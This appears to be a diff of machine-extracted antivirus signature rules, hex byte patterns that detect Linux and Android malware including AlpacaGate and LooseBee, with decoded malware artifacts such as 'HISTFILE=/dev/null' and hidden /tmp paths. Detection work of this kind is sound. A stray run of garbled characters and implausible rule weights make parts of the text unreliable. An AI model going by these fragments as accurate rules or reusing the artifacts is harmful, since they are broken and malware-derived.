01 01 70 61 73 73 77 6f 72 64 3d 90 00 01 00 1a 03 2f 69 6e 74 65 72 66 61 63 65 90 01 01 6c 74 65 90 01 01 70 72 69 6e 74 90 00 01 00 22 03 2f 69 70 20 63 6c 6f 75 64 20 73 65 74 90 01 01 64 64 } //0 - $a_65_10 = {61 62 6c 65 64 3d 79 65 73 90 00 02 00 08 01 6f 2a 60 7e c1 e6 78 53 02 00 82 03 28 64 73 74 90 01 01 68 6f 73 74 90 01 01 25 73 29 90 } //29550 - $a_6e_11 = {90 01 01 28 74 63 70 90 01 01 64 73 74 90 01 01 70 6f 72 74 90 01 01 25 64 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 90 01 01 73 72 63 90 01 01 70 6f 72 74 90 01 01 25 64 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 5b 74 63 70 66 6c 61 67 73 5d 90 01 01 26 90 01 01 74 63 70 2d 73 79 6e 90 01 } //257 - $a_90_12 = {01 30 29 90 00 02 00 0b 01 66 72 6f 6d 5f 6e 6d 61 70 2e 63 02 00 1f 03 53 55 43 43 45 53 53 3a 90 01 01 25 73 90 01 01 25 73 90 01 01 25 73 90 01 01 66 78 30 90 00 02 00 0f 01 2f 74 } //8449 - $a_2e_13 = {79 34 68 34 6f 6c 4b 4f 02 00 13 01 2f 74 6d 70 2f 74 6d 70 2e 35 37 42 6e 39 62 57 73 78 63 02 00 0f 01 2f 74 6d 70 2f 74 6d 70 2e 58 76 69 } //28781 - $a_02_14 = {00 0f 01 2f 74 6d 70 2f 74 6d 70 2e 49 70 75 58 46 47 02 00 1e 01 2f 6d 65 64 69 61 2f 68 64 64 2f 76 61 72 2f 2e 2e 73 79 73 74 65 6d 64 2e 63 61 } //28981 - $a_02_15 = {00 20 01 2f 76 61 72 2f 74 6d 70 2f 2e 2e 73 79 73 74 65 6d 64 2d 70 72 69 76 61 74 65 2d 63 61 63 68 65 02 00 1c 01 2f 76 61 72 2f 76 6f 6c 61 74 69 6c 65 2f 74 6d 70 2f 74 6d 70 2e 41 4f 31 51 43 62 02 00 11 01 2f 6d 6e 74 2f 2e 73 79 73 6c 6f 67 64 2e 6c 6f 67 02 00 1a 01 2f 76 61 72 2f 63 61 63 68 } //26723 - $a_79_16 = {74 65 6d 64 2f 73 79 73 74 65 6d 64 00 00 8c 55 02 00 04 00 04 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 41 50 54 34 31 5f 43 4e 5f 45 4c 46 5f 53 70 65 63 75 6c 6f 6f 73 5f 42 61 63 6b 64 6f 6f 72 00 04 00 68 01 2f 70 72 69 76 61 74 65 2f 76 61 72 00 68 77 2e 70 68 79 73 6d 65 6d 00 68 77 2e 75 } //12133 - $a_6d_17 = {6d 00 4e 41 2d 4e 41 2d 4e 41 2d 4e 41 2d 4e 41 2d 4e 41 00 6c 6f 30 00 00 00 00 25 30 32 78 2d 25 30 32 78 2d 25 30 32 78 2d 25 30 32 78 2d 25 30 32 78 2d 25 30 32 78 0a 00 72 00 4e 41 00 75 6e 61 6d 65 20 2d 76 01 00 28 03 62 61 64 73 68 65 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 } //25971 + $a_74_4 = {90 01 01 62 2e 4d 61 78 50 6f 73 74 53 69 7a 65 00 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 4b 65 79 52 43 36 00 90 00 01 00 16 03 62 6f 74 6c 90 01 01 62 2e 53 65 72 76 65 72 54 79 70 65 00 90 00 01 00 14 03 62 6f 74 6c 90 01 01 62 2e 49 6e 74 65 72 76 61 6c 00 90 00 00 00 8c 3b 02 00 03 00 03 00 14 00 21 23 41 4c 46 3a 42 61 } //25091 + $a_6f_5 = {72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 47 61 74 65 2e 41 21 64 68 61 00 01 00 1b 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 69 6e 70 75 74 20 66 69 6c 65 00 01 00 1c 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 6f 75 74 70 75 74 20 66 69 6c 65 00 01 00 19 01 00 46 61 69 6c 65 64 20 } //27491 + $a_6f_6 = {65 6e 20 45 4c 46 20 66 69 6c 65 00 01 00 15 01 73 73 6c 2e 65 6e 67 69 6e 65 20 3d 20 22 65 6e } //28532 + $a_65_7 = {01 00 10 01 4d 44 35 20 75 70 64 61 74 65 20 45 72 72 6f 72 01 00 0a 01 6c 69 62 52 54 53 50 2e 73 6f 01 00 29 01 50 4f 53 54 20 2f 63 67 69 2d 62 69 6e 2f 73 65 74 75 70 5f 6e 65 74 5f 72 74 73 70 2e 63 67 69 20 48 54 54 50 2f 31 2e 31 01 00 2d 01 7b 22 64 61 74 61 22 3a 5b 38 35 35 34 5d 2c 22 72 74 73 70 5f 65 6e 61 62 } //25185 + $a_3a_8 = {2c 22 66 6c 61 67 22 3a 22 73 61 76 65 22 7d 01 00 10 01 63 61 6d 5f 74 69 74 6c 65 5b 25 64 5d 3d 25 } //25964 ∬汦条㨢猢癡≥Žက持浡瑟瑩敬╛嵤┽ + $a_55_10 = {65 72 52 65 63 6f 72 64 3a 20 30 78 25 78 01 00 1b 01 63 61 6e 27 74 20 66 69 6e 64 20 69 6e 74 65 72 65 73 74 20 61 64 64 72 65 73 73 01 00 1b 01 2f 65 74 63 2f 6c 69 67 68 74 74 70 64 2f 6c 69 67 68 74 74 70 64 2e 63 6f 6e 66 01 00 10 01 66 61 69 6c 20 74 6f 20 68 61 6e 73 68 61 6b 65 01 00 0b 01 } //25697 + $a_70_11 = {6f 70 65 6e 65 64 01 00 0b 01 72 65 73 75 6c 74 5f 72 74 73 70 01 00 20 01 2f 6d 6e 74 2f 63 6f 6e 66 69 67 2f 61 70 70 2f 73 65 74 75 70 2f 63 61 6d 65 72 61 2e 63 66 67 01 00 19 01 66 61 69 6c 20 74 6f 20 61 6c 6c 6f 63 20 73 73 6c 5f 63 6f 6e 74 65 78 74 01 00 10 01 62 6c 20 73 74 72 6c 65 6e 3a 30 78 25 30 34 78 01 00 10 01 62 6c 20 77 72 } //29810 + $a_20_12 = {30 78 25 30 34 78 01 00 10 01 62 6c 20 63 6c 6f 73 65 20 3a 30 78 25 30 34 78 00 00 8c 4a 02 00 04 00 04 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 69 6b 50 72 6f 62 65 2e 41 21 64 68 61 00 02 00 0a 01 43 48 4e 47 44 4d 4b 52 54 4b 02 00 1d 03 2f 75 73 65 72 90 01 01 73 65 74 } //29801 + $a_30_13 = {01 } //400 + $a_73_14 = {77 6f 72 64 3d 90 00 01 00 1a 03 2f 69 6e 74 65 72 66 61 63 65 90 01 01 6c 74 65 90 01 01 70 72 69 6e 74 90 00 01 00 22 03 2f 69 70 20 63 6c 6f 75 64 20 73 65 74 90 01 01 64 64 6e 73 2d 65 6e 61 62 6c 65 64 3d 79 65 73 90 00 02 00 08 01 6f 2a 60 7e c1 e6 78 53 02 00 82 03 28 64 73 74 90 01 } //28673 + $a_73_15 = {90 01 01 25 73 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 90 01 01 64 73 74 90 01 01 70 6f 72 74 90 01 01 25 64 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 90 01 01 73 72 63 90 01 01 70 6f 72 74 90 01 01 25 64 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 5b 74 63 70 66 6c 61 67 73 5d 90 01 01 26 90 01 01 74 63 70 2d 73 79 6e 90 01 01 21 } //26625 + $a_01_16 = {30 } //-28611 0 condition: - ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29793+(#a_00_2 & 1)*29295+(#a_78_3 & 1)*19758+(#a_74_4 & 1)*25091+(#a_6e_5 & 1)*27247+(#a_97_6 & 1)*26877+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_4a_9 & 1)*0+(#a_65_10 & 1)*29550+(#a_6e_11 & 1)*257+(#a_90_12 & 1)*8449+(#a_2e_13 & 1)*28781+(#a_02_14 & 1)*28981+(#a_02_15 & 1)*26723+(#a_79_16 & 1)*12133+(#a_6d_17 & 1)*25971) >=2 + ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*29793+(#a_00_2 & 1)*29295+(#a_78_3 & 1)*19758+(#a_74_4 & 1)*25091+(#a_6f_5 & 1)*27491+(#a_6f_6 & 1)*28532+(#a_65_7 & 1)*25185+(#a_3a_8 & 1)*25964+(#a_55_10 & 1)*25697+(#a_70_11 & 1)*29810+(#a_20_12 & 1)*29801+(#a_30_13 & 1)*400+(#a_73_14 & 1)*28673+(#a_73_15 & 1)*26625+(#a_01_16 & 1)*-28611) >=2 } -rule _InfrastructureShared_20972{ +rule _InfrastructureShared_22244{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 14 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 52 21 4d 54 42 00 02 00 68 01 14 c1 04 91 e0 03 14 aa b5 a3 02 d1 ea 69 fe 97 40 01 80 52 e1 03 14 aa 0f 68 fe 97 b8 } //21539 - $a_b7_1 = {35 a9 a1 02 40 ad a0 23 02 d1 e2 03 03 91 e1 03 13 aa e1 03 06 ad 1b 69 fe 97 a0 83 57 f8 fd 68 fe 97 c0 00 00 90 00 80 08 91 e1 03 1f 2a e2 03 1f 2a b4 6b fe 97 a2 83 57 f8 c1 00 00 90 21 50 09 91 40 00 80 52 02 00 d7 01 c6 10 63 f7 5d d3 5d ab 6c d4 5d ab 6c 1f 55 0a 4e d7 5d ab 6c 06 10 db 23 ac 92 cb 41 d7 5d ab 6c 30 12 54 b7 f4 88 ab f4 d8 5d ab 6c 7f bc c0 2b d8 5d ab 6c a5 76 c9 48 40 bc 4d 6a dc 0d a6 78 8b 7f 97 9a fd bc 5e ea 4b 26 43 a6 19 f4 03 32 95 1d 22 73 44 d2 7e 2e 47 0b 1a 6c 53 5e } //14043 - $a_4e_2 = {9e 45 bd 19 7b b1 56 11 93 ba 5b 8a b8 3f ce ed ea 4f 8c ee 75 35 76 e9 68 29 ac a6 40 66 23 2a 48 c5 35 f4 e1 1b c5 97 ca 33 bd 8c 66 f9 4c 0c a4 cb 3f 7b 81 17 62 b5 86 14 55 e1 5e df 2d e3 88 45 83 ae 78 14 b0 c6 f9 7d f3 83 9a 11 52 36 36 cd a8 87 f9 bf 3e bb 6f 35 56 cd f4 28 10 d3 7d ef 33 05 b0 f0 33 05 b0 12 89 9b 9d e9 9f b4 76 8e e3 01 00 7b 01 a0 64 f5 63 aa 62 73 d7 80 83 97 a3 40 c9 b5 16 2b 3d ee f0 95 47 01 81 f0 c1 43 18 2b 3d ee 4f 91 61 4b 1b 2b 3d ee 1a 2b 3d ee 2b 5e fd 56 73 19 b3 7b fe cd 2a 25 44 32 7a 70 97 8d a9 0f 8d c3 72 dc 21 2b 3d ee 23 2b 3d ee 40 66 02 88 54 74 e2 d4 3b 08 36 c1 6d 23 41 8d 7f 6c 90 } //-8846 - $a_3d_3 = {47 b4 33 dc e3 c4 e6 c5 f0 da 10 18 2d 2b 3d ee 2e 2b 3d ee 09 27 eb b2 01 00 2a 01 30 00 31 00 33 00 35 00 37 00 6b 00 54 00 44 } //10423 + $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 47 61 74 65 2e 41 21 64 68 61 00 01 00 1b 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 69 6e 70 75 74 20 66 69 6c 65 00 01 00 1c 01 00 46 61 69 6c 65 64 20 74 } //16675 + $a_70_1 = {6e 20 6f 75 74 70 75 74 20 66 69 6c 65 00 01 00 19 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 45 4c 46 20 66 69 6c 65 00 01 00 15 01 73 73 6c 2e 65 6e 67 69 6e 65 20 3d 20 22 65 6e 61 62 6c 65 22 01 00 10 01 4d 44 35 20 75 70 64 61 74 65 20 45 72 72 6f 72 01 00 0a 01 6c 69 62 52 54 53 50 2e 73 6f 01 00 29 01 50 4f 53 54 20 } //8303 + $a_69_2 = {62 69 6e 2f 73 65 74 75 70 5f 6e 65 74 5f 72 74 73 70 2e 63 67 69 20 48 54 54 50 2f 31 2e 31 01 00 2d 01 7b 22 64 61 74 61 22 3a 5b 38 35 35 34 5d 2c 22 72 74 73 70 5f 65 6e 61 62 6c 65 22 3a 31 2c 22 66 6c 61 67 22 3a 22 73 61 76 65 22 7d 01 00 10 01 63 61 6d 5f 74 69 74 6c 65 5b 25 64 5d 3d 25 73 01 00 13 } //25391 + $a_64_3 = {73 65 72 52 65 63 6f 72 64 3a 20 30 78 25 78 01 00 1b 01 63 61 6e 27 74 20 66 69 6e 64 20 69 6e 74 65 72 65 73 74 20 61 64 64 72 65 73 73 01 00 1b 01 2f 65 74 63 2f 6c 69 67 68 74 74 70 64 2f 6c 69 67 68 74 74 70 64 2e 63 6f 6e 66 01 00 10 01 66 61 69 6c 20 74 6f 20 68 61 6e 73 68 61 6b 65 01 00 0b } //24833 + $a_73_4 = {5f 6f 70 65 6e 65 64 01 00 0b 01 72 65 73 75 6c 74 5f 72 74 73 70 01 00 20 01 2f 6d 6e 74 2f 63 6f 6e 66 69 67 2f 61 70 70 2f 73 65 74 75 70 2f 63 61 6d 65 72 61 2e 63 66 67 01 00 19 01 66 61 69 6c 20 74 6f 20 61 6c 6c 6f 63 20 73 73 6c 5f 63 6f 6e 74 65 78 74 01 00 10 01 62 6c 20 73 74 72 6c 65 6e 3a 30 78 25 30 34 78 01 00 10 01 62 6c 20 77 72 } //29185 + $a_20_5 = {30 78 25 30 34 78 01 00 10 01 62 6c 20 63 6c 6f 73 65 20 3a 30 78 25 30 34 78 00 00 8c 4a 02 00 04 00 04 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 69 6b 50 72 6f 62 65 2e 41 21 64 68 61 00 02 00 0a 01 43 48 4e 47 44 4d 4b 52 54 4b 02 00 1d 03 2f 75 73 65 72 90 01 01 73 65 74 } //29801 + $a_30_6 = {01 } //400 + $a_73_7 = {77 6f 72 64 3d 90 00 01 00 1a 03 2f 69 6e 74 65 72 66 61 63 65 90 01 01 6c 74 65 90 01 01 70 72 69 6e 74 90 00 01 00 22 03 2f 69 70 20 63 6c 6f 75 64 20 73 65 74 90 01 01 64 64 6e 73 2d 65 6e 61 62 6c 65 64 3d 79 65 73 90 00 02 00 08 01 6f 2a 60 7e c1 e6 78 53 02 00 82 03 28 64 73 74 90 01 } //28673 + $a_73_8 = {90 01 01 25 73 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 90 01 01 64 73 74 90 01 01 70 6f 72 74 90 01 01 25 64 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 90 01 01 73 72 63 90 01 01 70 6f 72 74 90 01 01 25 64 29 90 01 01 61 6e 64 90 01 01 28 74 63 70 5b 74 63 70 66 6c 61 67 73 5d 90 01 01 26 90 01 01 74 63 70 2d 73 79 6e 90 01 01 21 } //26625 + $a_01_9 = {30 } //-28611 0 + $a_66_11 = {6f } //2816 o + $a_6d_12 = {70 2e 63 02 00 1f 03 53 55 43 43 45 53 53 3a 90 01 01 25 73 90 01 01 25 73 90 01 01 25 73 90 01 01 66 78 30 90 00 02 00 0f 01 2f 74 6d 70 2f 2e 2e 79 34 68 34 6f 6c 4b 4f 02 00 13 01 2f 74 6d 70 2f 74 6d 70 2e 35 37 42 6e 39 62 57 73 78 63 02 00 0f 01 2f 74 6d 70 2f 74 6d 70 2e 58 76 69 35 71 31 02 00 0f 01 2f 74 6d 70 2f 74 6d } //24429 + $a_70_13 = {58 46 47 02 00 1e 01 2f 6d 65 64 69 61 2f 68 64 64 2f 76 61 72 2f 2e 2e 73 79 73 74 65 6d 64 2e 63 61 63 68 65 02 00 20 01 2f 76 61 72 2f 74 6d 70 2f 2e 2e 73 79 73 74 65 6d 64 2d 70 72 69 76 61 74 65 2d 63 61 63 68 65 } //11888 + $a_01_14 = {2f 76 61 72 2f 76 6f 6c 61 74 69 6c 65 2f 74 6d 70 2f 74 6d 70 2e 41 4f 31 51 43 62 } //2 /var/volatile/tmp/tmp.AO1QCb + $a_01_15 = {2f 6d 6e 74 2f 2e 73 79 73 6c 6f 67 64 2e 6c 6f 67 } //2 /mnt/.syslogd.log + $a_01_16 = {2f 76 61 72 2f 63 61 63 68 65 2f 73 79 73 74 65 6d 64 2f 73 79 73 74 65 6d 64 } //2 /var/cache/systemd/systemd + $a_55_17 = {00 04 00 04 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 41 50 54 5f 41 50 54 34 31 5f 43 4e 5f 45 4c 46 5f 53 70 65 63 75 6c 6f 6f 73 5f 42 61 63 6b 64 6f 6f 72 00 04 00 68 01 2f 70 72 69 76 61 74 65 2f 76 61 72 00 68 77 2e 70 68 79 73 6d 65 6d 00 68 77 2e 75 73 65 72 6d 65 6d 00 4e 41 2d 4e 41 2d 4e 41 2d 4e 41 2d 4e 41 2d 4e 41 00 6c 6f 30 00 00 00 00 25 30 32 78 2d 25 30 32 78 2d } //0 + $a_78_18 = {25 30 32 78 2d 25 30 32 78 2d 25 30 32 78 0a 00 72 00 4e 41 00 75 6e 61 6d 65 20 2d 76 01 00 28 03 62 61 64 73 68 65 6c 6c 90 19 01 09 61 2d 7a 41 2d } //12325 + $a_39_19 = {09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 2a 03 68 77 2e 70 68 79 73 6d 65 6d 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 } //12378 condition: - ((#a_4c_0 & 1)*21539+(#a_b7_1 & 1)*14043+(#a_4e_2 & 1)*-8846+(#a_3d_3 & 1)*10423) >=4 + ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*8303+(#a_69_2 & 1)*25391+(#a_64_3 & 1)*24833+(#a_73_4 & 1)*29185+(#a_20_5 & 1)*29801+(#a_30_6 & 1)*400+(#a_73_7 & 1)*28673+(#a_73_8 & 1)*26625+(#a_01_9 & 1)*-28611+(#a_66_11 & 1)*2816+(#a_6d_12 & 1)*24429+(#a_70_13 & 1)*11888+(#a_01_14 & 1)*2+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2+(#a_55_17 & 1)*0+(#a_78_18 & 1)*12325+(#a_39_19 & 1)*12378) >=3 } -rule _InfrastructureShared_20973{ +rule _InfrastructureShared_22245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 11 00 21 " @@ -276436,13 +292615,13 @@ rule _InfrastructureShared_20973{ $a_2d_12 = {30 2d 39 90 00 01 00 28 03 75 6e 61 6d 65 20 2d 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 6d 61 63 68 64 65 70 2e 74 73 63 5f } //31277 $a_71_13 = {19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 34 03 2f 75 73 72 2f 73 62 69 6e 2f 63 6f 6e 66 69 67 2e 62 61 6b 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 34 03 65 6e 74 65 72 20 4d 65 73 73 } //29286 $a_4c_14 = {6f 70 2e 2e 2e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 36 03 65 78 69 74 20 53 74 61 72 74 43 42 50 72 6f 63 65 73 73 2e 2e 2e 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 12 01 72 6d } //26465 - $a_66_15 = {22 25 73 22 00 2f 70 72 6f 63 2f 00 00 8c 83 02 00 06 00 06 00 14 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 6f 6e 69 63 52 61 67 65 2e 41 21 64 68 61 00 01 00 0f 03 61 75 74 68 2e 63 90 01 01 6d 6d 69 74 90 00 01 00 1c 03 61 00 75 00 74 90 01 01 68 00 2e 00 63 90 01 01 6f 00 6d 00 6d 00 69 00 74 00 90 00 01 00 } //11552 - $a_75_16 = {68 2e 68 65 90 01 01 6c 6f 90 00 01 00 1a 03 61 00 75 00 74 00 68 00 90 01 01 00 68 00 65 00 6c 00 6c 90 01 01 6f 00 90 00 01 00 10 03 61 75 74 68 2e 70 65 6e 64 90 01 01 6e 67 90 00 01 00 1e 03 61 00 75 00 74 00 68 00 2e 90 01 01 70 00 65 00 6e 00 64 90 01 01 69 00 6e 00 67 00 90 00 01 00 } //782 + $a_66_15 = {22 25 73 22 00 2f 70 72 6f 63 2f 00 00 8c 65 02 00 1e 00 1e 00 1b 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 6f 6f 73 65 42 65 65 2e 42 21 64 68 61 00 14 00 20 01 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 ca 82 c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0 14 00 11 01 2f 74 6d 70 2f 2e 66 6f 6e 74 2d 75 6e 69 78 2d 3e } //11552 + $a_01_16 = {63 70 20 2d 61 20 27 25 73 27 20 27 25 73 27 } //20 cp -a '%s' '%s' condition: - ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*6656+(#a_63_2 & 1)*26226+(#a_90_3 & 1)*25460+(#a_43_5 & 1)*21843+(#a_6d_7 & 1)*12033+(#a_6d_8 & 1)*12133+(#a_6c_9 & 1)*25445+(#a_01_10 & 1)*11552+(#a_09_11 & 1)*6544+(#a_2d_12 & 1)*31277+(#a_71_13 & 1)*29286+(#a_4c_14 & 1)*26465+(#a_66_15 & 1)*11552+(#a_75_16 & 1)*782) >=4 + ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*6656+(#a_63_2 & 1)*26226+(#a_90_3 & 1)*25460+(#a_43_5 & 1)*21843+(#a_6d_7 & 1)*12033+(#a_6d_8 & 1)*12133+(#a_6c_9 & 1)*25445+(#a_01_10 & 1)*11552+(#a_09_11 & 1)*6544+(#a_2d_12 & 1)*31277+(#a_71_13 & 1)*29286+(#a_4c_14 & 1)*26465+(#a_66_15 & 1)*11552+(#a_01_16 & 1)*20) >=4 } -rule _InfrastructureShared_20974{ +rule _InfrastructureShared_22246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0a 00 21 " @@ -276461,7 +292640,67 @@ rule _InfrastructureShared_20974{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28019+(#a_39_2 & 1)*12378+(#a_00_3 & 1)*2448+(#a_61_4 & 1)*281+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=4 } -rule _InfrastructureShared_20975{ +rule _InfrastructureShared_22247{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,1e 00 1e 00 1b 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 6f 6f 73 65 42 65 65 2e 42 21 64 68 61 00 14 00 20 01 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 ca 82 c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0 14 00 11 01 2f 74 6d 70 2f 2e 66 6f } //16675 + $a_75_1 = {69 78 2d 3e 14 00 0f 01 63 70 20 2d 61 20 27 25 73 27 20 27 25 73 27 14 00 1b 01 50 53 31 23 20 5c 75 40 5c 68 3a 5c 77 20 5c 24 2f 64 } //29806 + $a_69_2 = {70 75 74 30 14 00 0c 01 2f 74 6d 70 2f 2e 72 6b 2d 62 79 65 02 00 10 01 48 49 53 54 46 49 4c 45 3d 2f 64 65 76 2f 6e 75 02 00 0b 01 2f 64 65 } //30309 + $a_74_3 = {2f 25 64 02 00 0b 01 64 62 75 73 2d 64 61 65 6d 6f 6e 02 00 0a 01 54 45 52 4d 3d 76 74 31 30 30 02 00 22 01 50 41 54 48 3d 2f 62 69 6e 3a 2f 73 62 69 6e 3a 2f 75 73 72 2f 62 69 6e 3a 2f 75 73 72 2f 73 62 69 6e 02 00 06 01 75 69 64 2d 25 64 02 00 09 01 61 72 67 31 3d 30 78 25 78 02 00 11 01 70 69 6e 67 20 25 73 20 2d 63 20 31 20 2d 57 } //12150 + $a_00_4 = {1b 01 } //12576 ě + $a_73_5 = {6c 78 25 6c 78 25 58 25 64 25 64 25 64 25 6c 78 25 64 25 64 25 64 01 00 08 01 6c 69 62 62 6c 6b 69 64 01 00 1d 01 62 6c 6b 69 64 5f 6e 65 77 5f 70 72 6f } //13861 + $a_66_6 = {6f 6d 5f 66 69 6c 65 6e 61 6d 65 01 00 12 01 62 6c 6b 69 64 5f 64 6f 5f 73 61 66 65 70 72 6f 62 65 01 00 18 01 62 6c 6b 69 64 5f 70 72 6f 62 65 5f 6c 6f 6f 6b 75 70 5f 76 61 6c 75 65 01 00 10 01 62 6c 6b 69 64 5f 66 72 65 65 5f 70 72 6f 62 65 01 00 0f 01 62 6c 6b 69 64 5f 67 65 74 5f } //25954 + $a_68_7 = {01 00 0d 01 62 6c 6b 69 64 5f 67 65 74 5f 64 65 76 01 00 0f 01 62 6c 6b 69 64 5f 70 75 74 5f 63 61 63 68 65 01 00 17 01 62 6c 6b 69 64 5f 74 61 67 5f 69 74 65 72 61 74 65 5f 62 65 67 69 6e 01 00 0e 01 62 6c 6b 69 64 5f 74 61 67 5f 6e 65 78 74 01 00 11 01 62 6c 6b 69 64 5f 64 65 76 5f 64 65 76 6e } //24931 + $a_01_8 = {00 15 01 62 6c 6b 69 64 5f 74 61 67 5f 69 74 65 72 61 74 65 5f 65 6e 64 01 00 06 01 00 55 55 49 44 00 00 00 8c 78 02 00 03 00 03 00 16 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 53 61 75 6e 61 2e 41 21 64 68 61 00 02 00 48 01 75 73 61 67 65 3a 20 2e 2f 63 70 72 } //28001 + $a_65_9 = {76 65 72 5f 75 72 6c 5d 20 5b 73 65 72 76 65 72 5f 70 6f 72 74 5d 20 5b 73 65 72 76 65 72 5f 6b 65 79 5d 20 5b 6e 6f 64 65 5f 74 79 70 65 5d 20 5b 62 72 61 6e 64 5d 02 00 13 01 6a 75 6d 70 73 65 72 65 72 20 6e 6f 74 20 65 78 69 73 74 02 00 12 01 2f 72 6f 6f 74 2f 70 72 6f 6a 65 63 74 2f 63 70 72 2f 01 00 0c 01 00 69 6e 76 61 6c 69 64 5f 69 70 } //23328 + $a_65_11 = {63 68 5f 63 6d 64 00 01 00 0d 01 00 72 65 71 75 65 73 74 5f 63 6e 74 00 01 00 0b 01 00 6e 65 77 5f 6e 6f 64 65 73 00 01 00 0a 01 63 68 61 6e 67 65 5f 76 70 73 01 00 15 01 68 61 6e 64 6c 65 72 5b 25 73 5d 20 72 65 74 75 72 6e 20 25 64 01 00 14 01 6e 6f 74 20 66 6f 75 6e 64 20 68 61 6e 64 6c 65 72 20 25 73 } //1 + $a_01_12 = {5b 25 73 5d 3a 20 20 72 65 71 75 65 73 74 20 74 6f 20 5b 25 73 5d 5b 25 73 3a 25 73 5d } //1 [%s]: request to [%s][%s:%s] + $a_01_13 = {66 61 69 6c 20 74 6f 20 73 65 6e 64 20 72 65 71 75 65 73 74 20 74 6f 20 5b 25 73 3a 25 73 5d } //1 fail to send request to [%s:%s] + $a_01_14 = {2f 74 6d 70 2f 2e 6e 63 72 } //1 /tmp/.ncr + $a_01_15 = {75 75 69 64 20 5b 25 73 5d 2c 6b 65 79 20 5b 25 73 5d 2c 74 79 70 65 5b 25 64 5d } //1 uuid [%s],key [%s],type[%d] + $a_01_16 = {5b 25 73 3a 25 73 5d 3a 75 75 69 64 5b 25 73 5d 2c 6b 65 79 5b 25 73 5d 2c 64 65 6c 65 74 65 64 5b 25 64 5d 2c 74 79 70 65 5b 25 64 5d 2c 74 69 6d 65 5b 25 6c 64 5d } //1 [%s:%s]:uuid[%s],key[%s],deleted[%d],type[%d],time[%ld] + $a_01_17 = {63 68 61 6e 67 65 20 76 70 73 20 25 73 3a 25 73 2c 6b 65 79 5b 25 73 5d } //1 change vps %s:%s,key[%s] + $a_01_18 = {2e 6c 6f 67 63 6d 64 } //1 .logcmd + $a_01_19 = {2f 74 6d 70 2f 2e 6a 6c 6f 67 } //1 /tmp/.jlog + $a_01_20 = {72 75 6e 20 63 6f 6d 6d 61 6e 64 20 25 64 3a 20 25 73 } //1 run command %d: %s + $a_01_21 = {42 52 41 4e 43 48 5f 4e 4f 44 45 } //1 BRANCH_NODE + $a_01_22 = {42 45 47 49 4e 20 52 65 64 69 72 65 63 74 20 74 6f 20 5b 25 73 3a 25 73 5d 2c 6b 65 79 3d 25 